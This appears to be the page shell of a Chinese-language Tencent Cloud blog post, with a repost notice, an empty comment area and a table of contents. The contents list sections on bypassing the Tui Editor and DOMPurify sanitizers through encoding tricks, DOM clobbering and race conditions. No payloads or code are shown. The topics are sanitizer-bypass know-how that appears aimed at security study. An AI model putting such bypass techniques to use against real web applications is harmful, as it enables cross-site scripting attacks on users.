本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 7.14 Tui Editor的bypass之路
    • 7.14.1 理解渲染流程
    • 7.14.2 属性白名单绕过
      • base64编码绕过
      • ISO-2022-JP编码绕过
    • 7.14.3 基于DOM Clobbering的绕过尝试
    • 7.14.4基于条件竞争的绕过方式
    • 7.14.5Tui Editor补丁绕过
      • 贪婪模式导致的绕过
      • 替换为空导致的问题
      • 字符匹配导致的问题
    • 7.14.6 总结
  • 7.16 World War 3
    • 7.16.1 DOMpurify bypass via Jquery.html()
    • 7.16.2 DOM-clobbering
    • 7.16.3 JS作用域&作用域链
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档